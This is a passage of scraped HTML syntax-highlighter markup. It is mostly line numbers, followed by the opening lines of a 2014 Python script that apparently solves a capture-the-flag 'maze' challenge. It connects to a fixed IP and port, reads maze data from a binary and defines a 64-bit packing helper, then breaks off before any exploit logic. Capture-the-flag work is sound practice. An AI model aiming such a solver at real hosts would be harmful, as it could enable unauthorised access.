crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-129\">129<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-130\">130<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-131\">131<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-132\">132<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-133\">133<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-134\">134<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-135\">135<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-136\">136<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-137\">137<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-138\">138<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-139\">139<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-140\">140<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-141\">141<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-142\">142<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-143\">143<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-144\">144<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-145\">145<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-146\">146<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-147\">147<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-148\">148<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-149\">149<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-150\">150<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-151\">151<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-152\">152<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-153\">153<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-154\">154<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-155\">155<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-156\">156<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-157\">157<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-158\">158<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-159\">159<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-160\">160<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-161\">161<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-162\">162<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-163\">163<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-164\">164<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-165\">165<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-166\">166<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-167\">167<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-168\">168<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-169\">169<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-170\">170<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-171\">171<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-172\">172<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-173\">173<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-174\">174<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-175\">175<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-176\">176<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-177\">177<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-178\">178<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-179\">179<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-180\">180<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-181\">181<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-182\">182<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-183\">183<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-184\">184<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-185\">185<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-186\">186<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-187\">187<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-188\">188<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-189\">189<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-190\">190<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-191\">191<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-192\">192<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-193\">193<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-194\">194<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-195\">195<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-196\">196<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-197\">197<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-198\">198<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-199\">199<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-200\">200<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-201\">201<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-202\">202<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-203\">203<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-204\">204<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-205\">205<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-206\">206<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-207\">207<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-208\">208<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-209\">209<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-210\">210<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-211\">211<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-212\">212<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-213\">213<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-214\">214<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-215\">215<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-216\">216<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-217\">217<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-218\">218<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-219\">219<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-220\">220<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-221\">221<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-222\">222<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-223\">223<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-224\">224<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-225\">225<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-226\">226<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-227\">227<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-228\">228<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-229\">229<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-230\">230<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-231\">231<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-232\">232<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-233\">233<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-234\">234<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-235\">235<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-236\">236<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-237\">237<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-238\">238<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-239\">239<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-240\">240<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-241\">241<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-242\">242<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-243\">243<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-244\">244<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-245\">245<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-246\">246<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-247\">247<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-248\">248<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-249\">249<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-250\">250<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-251\">251<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-252\">252<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-253\">253<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-254\">254<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-255\">255<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-256\">256<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-257\">257<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-258\">258<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-259\">259<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-260\">260<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-261\">261<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-262\">262<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-263\">263<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-264\">264<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-265\">265<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-266\">266<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-267\">267<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-268\">268<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-269\">269<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-270\">270<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-271\">271<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-272\">272<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-273\">273<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-274\">274<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-275\">275<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-276\">276<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-277\">277<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-278\">278<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-279\">279<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-280\">280<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-281\">281<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-282\">282<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-283\">283<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-284\">284<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-285\">285<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-286\">286<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-287\">287<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-288\">288<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-289\">289<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-290\">290<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-291\">291<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-292\">292<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-293\">293<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-294\">294<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-295\">295<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-296\">296<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-297\">297<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-298\">298<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-299\">299<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-300\">300<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-301\">301<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-302\">302<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-303\">303<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-304\">304<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-305\">305<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-306\">306<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-307\">307<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-308\">308<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-309\">309<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-310\">310<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-311\">311<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-312\">312<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-313\">313<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-314\">314<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-315\">315<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-316\">316<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-317\">317<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-318\">318<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-319\">319<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-320\">320<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-321\">321<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-322\">322<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-323\">323<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-324\">324<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-325\">325<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-326\">326<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-327\">327<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-328\">328<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-329\">329<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-330\">330<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-331\">331<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-332\">332<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-333\">333<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-334\">334<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-335\">335<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-336\">336<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-337\">337<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-338\">338<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-339\">339<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-340\">340<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-341\">341<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-342\">342<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-343\">343<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-344\">344<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-345\">345<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-346\">346<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-347\">347<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-348\">348<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-349\">349<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-350\">350<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-351\">351<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-352\">352<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-353\">353<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-354\">354<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-355\">355<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-356\">356<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b265901204425-357\">357<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b265901204425-358\">358<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b265901204425-1\" class=\"crayon-line\"><span class=\"crayon-p\">#!\/usr\/bin\/env python<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-3\" class=\"crayon-line\"><span class=\"crayon-p\"># Copyright (C) Joel Eriksson &lt;je@clevcode.org&gt; 2014<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-4\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-5\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">datetime<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">termios<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-7\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-t\">struct<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">socket<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-9\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">select<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">time<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-11\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">tty<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-12\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-13\" class=\"crayon-line\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-v\">os<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-14\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-15\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">### Constants<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-17\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-18\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-19\" class=\"crayon-line\"><span class=\"crayon-v\">host<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;188.40.18.71&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">port<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1234<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-21\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-22\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># We extract the maze data directly from the maze binary<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-23\" class=\"crayon-line\"><span class=\"crayon-v\">maze_path<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;.\/maze&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-24\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">maze_offs<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x13e0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-25\" class=\"crayon-line\"><span class=\"crayon-v\">maze_size<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">17276<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-26\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-27\" class=\"crayon-line\"><span class=\"crayon-v\">goal_x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0xb2<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-28\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">goal_y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0x5d<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-29\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-30\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">started_at<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">now<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-31\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-32\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-33\" class=\"crayon-line\"><span class=\"crayon-p\">### Helper functions<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-34\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-35\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-36\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">u64<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-i\">lambda<\/span> <span class=\"crayon-v\">v<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;Q&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">v<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-37\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-38\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span 